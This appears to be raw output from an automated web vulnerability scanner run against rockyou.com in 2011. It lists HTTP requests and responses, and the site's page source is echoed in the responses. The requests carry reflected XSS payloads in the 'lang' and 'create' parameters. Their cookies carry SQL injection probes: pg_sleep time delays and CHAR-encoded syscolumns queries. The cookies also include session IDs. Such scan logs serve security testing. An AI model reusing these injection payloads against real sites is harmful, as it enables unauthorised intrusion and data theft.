var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?lang='%22%3E%3Cnet%20sparker=netsparker(0x0014B2)%3E&refid=3&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(t..
- /slideshow-create.php

/slideshow-create.php

http://www.rockyou.com/slideshow-create.php?lang='%22%3E%3Cnet%20sparker=alert(0x001DCE)%3E&source=br

Parameters

Parameter Type Value
lang GET '"><net sparker=alert(0x001DCE)>
source GET br

Request

GET /slideshow-create.php?lang='%22%3E%3Cnet%20sparker=netsparker(0x001DCE)%3E&source=br HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?source=br
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303165651; ctid=3; sns_type=rockyou.com; istack=158777336%7Cwww202.rockyou.com%7C%7C158777337%7Cwww202.rockyou.com%7C%7C158777339%7Cwww202.rockyou.com%7C%7C158777341%7Cwww202.rockyou.com%7C%7C158777342%7Cwww202.rockyou.com%7C%7C158777345%7Cwww202.rockyou.com%7C%7C158777346%7Cwww202.rockyou.com%7C%7C158777348%7Cwww202.rockyou.com%7C%7C158777349%7Cwww202.rockyou.com%7C%7C158777351%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:27:32 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:27:31 GMT; path=/; domain=.rockyou.com,lang=en; expires=Thu, 28-Apr-2011 22:27:32 GMT; path=/; domain=.rockyou.com,lastlogin=1303165652; expires=Wed, 27-Jul-2011 22:27:32 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:27:32 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=26144 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26862
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "br";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?lang='%22%3E%3Cnet%20sparker=netsparker(0x001DCE)%3E&source=br&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLoc..
- /slideshow-create.php

/slideshow-create.php

http://www.rockyou.com/slideshow-create.php?source=br&create='%22%3E%3Cnet%20sparker=alert(0x0025B0)..

Parameters

Parameter Type Value
source GET br
create GET '"><net sparker=alert(0x0025B0)>
instanceid GET 3

Request

GET /slideshow-create.php?source=br&create='%22%3E%3Cnet%20sparker=netsparker(0x0025B0)%3E&instanceid=3 HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?source=br
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303166185; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=facebook.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:36:25 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:36:24 GMT; path=/; domain=.rockyou.com,lastlogin=1303166185; expires=Wed, 27-Jul-2011 22:36:25 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:36:25 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:36:25 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:36:25 GMT; path=/; domain=.rockyou.com
